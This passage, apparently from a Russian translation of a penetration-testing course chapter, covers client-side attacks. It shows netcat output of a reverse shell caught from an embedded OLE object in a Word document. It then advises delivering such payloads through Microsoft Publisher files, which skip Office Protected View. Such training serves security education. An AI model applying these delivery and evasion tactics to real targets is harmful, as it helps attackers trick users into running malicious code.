connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 50115
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Offsec>
Листинг 23 - Шелл получен из объекта OLE
Обход просмотра в защищенном режиме (Protected View)
Обход просмотра в защищенном режиме (Protected View)
Наш документ Microsoft Word очень эффективен при локальном взаимодействии, но при взаимодействии через Интернет, скажем, по электронной почте или по ссылке для скачивания, мы должны обойти другой уровень защиты, известный как
Ссылка скрыта от гостей
, который отключает все редактирования и изменения в документе и блокирует выполнение макросов или вложенных объектов.Чтобы смоделировать эту ситуацию, мы скопируем документ Microsoft Word, содержащий встроенный пакетный файл, на машину Кали и разместим его на сервере Apache. Затем мы можем загрузить документ с сервера и открыть его на нашей машине-жертве. На данный момент используется функция Protected View, как показано на Рисунке 254, и мы не можем выполнить пакетный файл.
Рисунок 16: Protected View в действии
Хотя жертва может нажать кнопку Включить редактирование и выйти из режима защиты, это маловероятно. В идеале, мы бы предпочли обойти Protected View вообще, и одним из простых способов сделать это является использование другого приложения Office.
Как и Microsoft Word, Microsoft Publisher позволяет встраивать объекты и, в конечном счете, выполнять код точно так же, как Word и Excel, но не будет включать Protected View для документов, доставляемых через Интернет. Мы могли бы использовать тактику, которую мы ранее применяли к Word, чтобы обойти эти ограничения, но недостаток заключается в том, что Publisher устанавливается реже, чем Word или Excel. Тем не менее, если ваше исследование жертвы обнаружит установку Publisher, это может быть жизнеспособным и лучшим вектором.
Заключение
Векторы client-side атак особенно коварны, так как они используют слабые места в клиентском программном обеспечении, например, браузере, вместо того, чтобы эксплуатировать серверное программное обеспечение. Это часто связано с определенной формой взаимодействия и обманом пользователя для того, чтобы клиентское программное обеспечение выполнило вредоносный код.
Эти векторы атаки особенно привлекательны для злоумышленника, поскольку не требуют прямого или маршрутизируемого доступа к машине жертвы.
В этом главе были описаны некоторые из факторов, которые важно учитывать при данном типе атаки, и были рассмотрены сценарии эксплуатации, включающие как вредоносные HTML-приложения, так и документы Microsoft Word.
Последнее редактирование: